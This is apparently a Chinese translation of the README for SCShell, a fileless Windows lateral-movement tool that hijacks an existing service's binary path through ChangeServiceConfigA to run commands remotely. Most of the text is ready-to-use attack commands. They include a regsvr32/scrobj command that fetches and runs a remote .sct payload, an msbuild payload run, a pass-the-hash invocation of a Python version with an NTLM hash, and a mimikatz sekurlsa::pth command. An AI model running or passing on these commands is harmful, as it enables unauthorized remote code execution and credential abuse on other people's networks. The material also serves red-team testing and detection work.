SCShell 是一种无文件横向移动工具,依赖 ChangeServiceConfigA 来执行命令。该工具的精妙之处在于它无需通过 SMB 进行身份验证——所有操作均在 DCERPC 上完成。
该工具可远程使用,无需注册服务或创建服务。同时,它也不需要在远程系统上放置任何文件*(取决于所使用的执行技术)。
该工具不创建服务,而是直接远程打开一个现有服务,并通过 ChangeServiceConfigA API 修改其二进制路径名。
随后启动该服务。
执行完成后,服务二进制路径会被恢复为原始路径。原始服务路径通过 QueryServiceConfigA 获取。
包括身份验证在内的所有操作均通过 DCERPC 进行。

当前编译版本使用 C 语言编写,后续将移植到 C# 和 PowerShell。
用法:
SCShell.exe 目标 服务 载荷 域 用户名 密码
将 目标 设置为 local 可在本地运行载荷。
远程执行
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrasator Password
建议使用 C:\windows\system32\cmd.exe /c 以确保载荷在服务停止后不会被终止。必须使用完整路径。
你也可以使用 msbuild 载荷
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
正在连接 192.168.197.131
已提供用户名,尝试调用 LogonUserA
SC_HANDLE 管理器 0x009ED250
正在打开 XblAuthManager
SC_HANDLE 服务 0x009ED1B0
服务路径已更改为 C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
服务已启动。
此处将 XblAuthManager(Xbox 配件管理服务)作为目标。
scshell.py 是 SCShell 的 Python 2 & 3 实现。借助 impacket 项目,它可以轻松地通过传递哈希技术执行相同的横向移动。
安装
pip install impacket
用法
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] 命令必须使用完整路径。无命令输出。
SCShell>
你也可以使用 C 实用程序来传递哈希。默认情况下,将使用当前进程令牌。你可以通过标准的传递哈希方法设置当前进程令牌。
在本地系统上
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
然后在新建的 cmd.exe 中运行 SCShell.exe。
代码在 Windows 上使用 GCC Mingw 编译器编译。
Mr.Un1k0d3r RingZer0 Team
感谢 Tazz0 的精神支持